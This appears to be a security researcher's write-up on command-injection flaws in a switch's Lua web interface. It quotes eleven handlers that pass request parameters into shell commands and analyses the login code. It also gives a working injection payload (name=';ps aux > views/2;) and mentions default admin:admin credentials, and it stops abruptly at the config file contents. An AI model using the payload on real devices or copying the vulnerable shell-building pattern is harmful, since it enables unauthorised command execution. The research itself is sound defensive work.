Device noted during the original research: a hotel switch at 192.168.48.73. The default credentials admin:admin worked; the password was then changed to 123456.
Internal network:
Tracing login and related requests led to the following key files:
sbin/web
The backend uses Lua. The issue appeared applicable across the B0701 software examined here.
httpd lua vulnbility 11
Searching the relevant functions identified eleven command injection locations:
LUA
-- http://192.168.48.73/web/init.lua/ac.sumng.sumng/mvSumngFileif(not GLOBAL_IN) thenreturn; endlocal cgilua = require("cgilua");
local Page = require("web.lib.page");
locallog = require("web.lib.logger").log;
local Utils = require("web.lib.utils");
local M = setmetatable({},{ __index = Page }) ;
local errorPages = require("web.lib.error");
-- Delete all packet-capture files.functionM.mvSumngFile(self)local ret = Utils.IoUtil.retData();
local params = cgilua.POST;
local filename = params["filename"];
if(string.find(filename,"%.%.")) then-- Block path traversal.
errorPages.forward403() ;
return;
endlocal cmd = 'mv /data/tmp/vsd/0/security/sumng/'..filename..' /tmp/vsd/0/security/sumng/'..filename; --vulnabilitylocal rest = Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
endreturn M;
Testing confirmed the issue:
Injection point two:
LUA
-- http://192.168.48.73/web/init.lua/ac.system.feature/moveFileif (not GLOBAL_IN) thenreturnendlocal cgilua = require("cgilua")
local Page = require("web.lib.page")
locallog = require("web.lib.logger").loglocal Utils = require("web.lib.utils")
local M = setmetatable({}, {__index = Page})
--[[
Move the signature database file.
data = {
name = filename
}
]]functionM.moveFile(self)local ret = Utils.IoUtil.retData()
local params = cgilua.POST
local filename = params["name"]
local cmd = "mv -f " .. "'/data/" .. filename .. "'" .. " '/sbin/signature/app_tmp/" .. filename .. "'"
ret.data = Utils.IoUtil.execShell(cmd)
self.jsonOutPut(ret)
endreturn M
Injection point three:
LUA
routers/ac/system/system.lua
functionM.delApBin(self)local ret = Utils.IoUtil.retData();
local params = cgilua.POST;
local src_tmp = params["src"];
-- Delete only files with a .bin suffix.local tmp= string.match(src_tmp,"%.bin$",1,true);
if (tmp ~= nil) thenif(string.find(src_tmp,"%.%.")) then-- Block path traversal.
errorPages.forward403() ;
return;
endlocal cmd = "rm -rf " .."'".. src_tmp.."'";
Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
endendreturn M;
Injection point four:
LUA
routers/ac/packet/capture.lua
if(not GLOBAL_IN) thenreturn; endlocal cgilua = require("cgilua");
local Page = require("web.lib.page");
locallog = require("web.lib.logger").log;
local Utils = require("web.lib.utils");
local M = setmetatable({},{ __index = Page }) ;
local errorPages = require("web.lib.error");
-- Delete all packet-capture files.functionM.movepcap(self)local ret = Utils.IoUtil.retData();
local params = cgilua.POST;
localpath = params["path"];
if(string.find(path,"%.%.")) then-- Block path traversal.
errorPages.forward403() ;
return;
endlocal cmd = 'rm -rf '..path..'/*.pcap';
local rest = Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
endreturn M;
Injection point five:
LUA
routers/common/system/platform.lua
functionM.moveFile(self)local ret = Utils.IoUtil.retData();
local params = cgilua.POST;
local src_tmp = params["src"];
local dest_tmp = params["dest"];
local cmd ="mv -f " .."'/data/.rgos/vsd/0/oam/".. src_tmp .."'".. " '/data/.rgos/vsd/0/oam/" .. dest_tmp .."'";
ret.data = Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
end
Injection point six:
LUA
functionM.moveZip(self)local ret = Utils.IoUtil.retData();
local params = cgilua.POST;
local src_tmp = params["src"];
local dest_tmp = params["dest"];
-- Delete only files with a .zip suffix.local tmp= string.match(src_tmp,"%.zip$",1,true);
if (tmp ~= nil) thenlocal cmd ="mv -f " .."'".. src_tmp .."'".. " '" .. dest_tmp .."'";
ret.data = Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
endend
Injection point seven:
LUA
functionM.delSumFile(self)local ret = Utils.IoUtil.retData();
local params = cgilua.POST;
local src_tmp = params["src"];
-- Delete only when the path matches this directory.local tmp= string.match(src_tmp,"/tmp/vsd/0/security/sumng/");
if (tmp ~= nil) thenlocal cmd = "rm -rf " .."'".. src_tmp.."'";
Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
endend
Injection point eight:
LUA
functionM.delOamFile(self)local ret = Utils.IoUtil.retData();
local params = cgilua.POST;
local src_tmp = params["src"];
local cmd = "rm -rf " .."'/data/.rgos/vsd/0/oam/".. src_tmp.."'";
Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
end
Injection point nine:
LUA
functionM.delZip(self)local ret = Utils.IoUtil.retData();
local params = cgilua.POST;
local src_tmp = params["src"];
local cmd = "rm -rf " .."'/data/".. src_tmp.."'";
Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
end
Injection point ten:
LUA
functionM.delTmp(self)local ret = Utils.IoUtil.retData();
local cmd = "rm -rf /data/portal/zip/tmp/";
Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
end
Injection point eleven:
LUA
if(not GLOBAL_IN) thenreturn; endlocal cgilua = require("cgilua")
local Page = require("web.lib.page");
locallog = require("web.lib.logger").log;
local Utils = require("web.lib.utils");
local M = setmetatable({},{ __index = Page }) ;
local reloadDao = require("web.routers.common.admin.admin");
-- Extract the device's web.gz package.functionM.unZipWeb(self)local ret = Utils.IoUtil.retData();
local params = cgilua.POST;-- Parameters supplied by JavaScript.local filname = params.filename;
local cmd = 'rm -rf /var/web.gz\nmv /tmp/vsd/0/oam/httpd/'..filname..' /var/web.gz\nrm -rf /tmp/html\n/sbin/web.gz.sh\nsync';
if(params.isSwitch) then
cmd = 'rm -rf /sbin/web.gz\nmv /tmp/vsd/0/oam/httpd/'..filname..' /sbin/web.gz\nrm -rf /tmp/html\n/sbin/web.gz.sh\nsync';
endlocal rest = Utils.IoUtil.execShell(cmd);
local count = 0;
for k,v inpairs(rest) do
count = count + 1end
ret.code = count
self.jsonOutPut(ret);
endfunctionM.reload(self)
reloadDao:reload(false)
endreturn M;
auth analysis
These issues require authentication. To assess whether that boundary could be bypassed, I followed string references to the httpd binary.
The login request led to the auth string.
The Lua authentication flow is:
LUA
web/routers/init.lua -> web/lib/page.lua
-- Pre-action handler: authentication, session setup, and related operations.functionM.beforeAction(self, controller)if (self.auth) then--[[session.open()+
local sessData = session.getSessionData()
if(not sessData.username) then
return false
end]]-- unauthenticate.unauthenticate.lua can be accessed without login.if(controller == "unauthenticate.unauthenticate") thenreturntrue;
end
M.currentUser = cgilua.servervariable("WEBMASTER_USER") or"";
if (M.currentUser == "") thenreturn1;
endlocal list = Utils.StringUtil.split(controller, "%.");
local id = list[table.maxn(list)];
local permission_user = permission_id[M.currentUser];
if (M.currentUser ~= "admin"and (permission_onlyAdmin[id] ornot permission_user)) then-- No administrator privileges, or no configured page access.return2;
endif (not permission_map[id] or permission_user=="all"or M.currentUser == "admin") thenreturntrueendif (type(permission_map[id])=="string"and permission_user[permission_map[id]]) thenreturntrueelseif (type(permission_map[id])=="table") thenfor k, v inpairs(permission_map[id]) doif permission_user[v] thenreturntrue;
endendreturn2;
elsereturn2;
endendreturntrue;
end
Every handler except unauthenticate.unauthenticate requires login.
The authentication implementation is in httpd.elf.
C
memset(decode_value, 0, sizeof(decode_value)); // Clear the decoded-string buffer.
v4 = strlen(auth_buf); // Get the authentication-string length.if ((int)base64_decode(auth_buf, v4, decode_value, 95LL) >= 0) // Base64-decode the authentication data.
{
password = strchr(decode_value, ':'); // Find the colon separator.if (password) // Separator found.
{
*password = 0; // Replace the separator with a null terminator.// Get the current encoding; use UTF-8 if that lookup fails.if ((unsignedint)cli_get_lang_char_set())
lang_char_set = cli_get_lang_char_set();
else
lang_char_set = 3;
// Convert the decoded username and store it in src.
src = (char *)trancode_strdup(decode_value, 1LL, lang_char_set, &v17);
if (src)
{
memset(decode_value, 0, sizeof(decode_value)); // Clear the decoded-string buffer.strncpy(decode_value, src, 0x5FuLL); // Copy the converted username.free(src); // Free the temporary allocation.if (strlen(decode_value) <= 0x1F) // Limit the username to 31 characters.
{
memset(&v18, 0, sizeof(v18)); // Clear the time structure.
clock_gettime(1, &v18); // Read the current time.if (!strcmp(decode_value, "admin")) // The username is admin.
{
pthread_mutex_lock(&stru_455430); // Lock access to the global array.
v25 = 0;
while (v25 <= 2) // Iterate over the global-array entries.
{
v21 = *(_QWORD *)&dword_455460[4 * v25 + 6];
for (s1 = (char *)(v21 - 272);; s1 = (char *)(v20 - 272))
{
_X0 = *((_QWORD *)s1 + 34);
__asm { PRFM #0, [X0] }
if (s1 + 272 == (char *)&dword_455460[4 * v25 + 6])
{
++v25;
break;
}
if (!strcmp(s1, decode_value)) // Found this user's login record.break;
v20 = *((_QWORD *)s1 + 34);
}
if (s1 + 272 == (char *)&dword_455460[4 * v25 + 6])
continue;
if (!byte_455464 && v18.tv_sec - *((_QWORD *)s1 + 38) > 599)
*((_DWORD *)s1 + 80) = 0;
if (*((int *)s1 + 80) > 4) // Check whether consecutive login attempts exceed four.
{
debug_log(0LL, "user login limited");
pthread_mutex_unlock(&stru_455430);
return11LL;
}
else
{
if (!strcmp(s1 + 129, auth_buf)) // The authentication value matches.
{
*((_DWORD *)s1 + 80) = 0; // Reset the login-attempt counter.
clock_gettime(1, (struct timespec *)s1 + 18); // Record the login time.
pthread_mutex_unlock(&stru_455430); // Unlock the global array.if (strcmp((constchar *)(a3 + 33), s1))
printk_syslog_ext(5LL, "HTTPD", "LOGIN", 1LL, "User (%s@%s) login from eweb.", s1, (constchar *)(a3 + 72));
strncpy(a2, s1, 0x1FuLL); // Copy the username to a2.return0LL; // Report success.
}
The authentication boundary appeared strong, so I paused that route and considered other ports. Port 80 exposed Lua and httpd without another supporting service that offered an obvious entry point.
DEBUG
A convenient injection point for debugging:
CODE
http://192.168.48.73/web/init.lua/ac.system.feature/moveFile
method: POST
data: name=';ps aux > views/2;
Retrieving the return value:
http://192.168.48.73/2
67, 68: dhcp / dhcpd; deferred until other candidates had been investigated.
123: ntp.
161, 41613: rg-snmpd.
41106: syslogd.
7547:cwmp.elf
No controllable process arguments were identified.
Investigating the HTTP service
download.do:
http://192.168.48.73/download.do?file=config.text&random=ZC77
The file-download handler belongs to httpd.elf.
The files downloadable at this stage were config.text and /web/websys-info.xml.
Contents of config.text:
